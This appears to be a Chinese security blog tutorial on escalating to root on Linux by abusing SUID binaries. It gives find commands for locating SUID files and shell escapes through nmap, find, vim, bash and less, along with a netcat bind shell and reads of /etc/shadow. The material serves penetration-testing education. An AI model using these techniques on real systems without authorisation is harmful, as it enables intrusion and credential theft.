提权学习:Linux提权(利用SUID 提权)
前言
今天给大家带来的是linux下的提权技巧。
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
已知的可用来提权的linux可行性的文件列表如下:
- Nmap
- Vim
- find
- Bash
- More
- Less
- Nano
- cp
以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。
-
find / -user root -perm -4000 -print 2>/dev/null
-
find / -perm -u=s -type f 2>/dev/null
-
find / -user root -perm -4000 -exec ls -ldb {} \;
- 1
以上所有二进制文件都将以root用户权限执行,因为它们的权限中包含"s",并且对应的是root权限。
-
ls -l /usr/bin/nmap
-
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap
- 1
NMAP
较旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。由于Nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。
nmap -V
- 1
交互模式可以通过执行Nmap参数" interactive "
nmap --interactive
- 1
以下命令将提供一个提升的shell。
-
nmap> !sh
-
sh-3.2# whoami
-
root
- 1
也可以通过Metasploit模块对Nmap的二进制文件进行权限提升。
exploit/unix/local/setuid_nmap
- 1
Find
如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。
-
touch pentestlab
-
find pentestlab -exec whoami \;
- 1
大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
- 1
连接上去就会直接获取到一个Root权限的shell。
-
netcat 192.168.1.189 5555
-
id
-
cat /etc/shadow
- 1
VIM
Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
vim.tiny /etc/shadow
- 1
-
vim.tiny
-
# Press ESC key
-
:set shell=/bin/sh
-
:shell
- 1
Bash
以下命令将以root权限打开一个bash shell。
-
bash -p
-
bash-3.2# id
-
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(serv
- 1
Less
Less和More都执行以用来提权。
-
less /etc/passwd
-
!/bin/sh
- 1
获取到Root权限
参考资料
https://pentestlab.blog/2017/09/25/suid-executables/
http://blog.csdn.net/haofeifei6/article/details/11516753
威胁情报分析平台
最近在做一些威胁情报分析,apt攻击源分析中,发现了一个很好的平台,给大家推荐一下。
http://www.secange.com/2017/10/%E5%A8%81%E8%83%81%E6%83%85%E6%8A%A5%E5%88%86%E6%9E%90%E5%B9%B3%E5%8F%B0/
平台地址:http://www.vxcube.com
上一篇: phpMyadmin提权那些事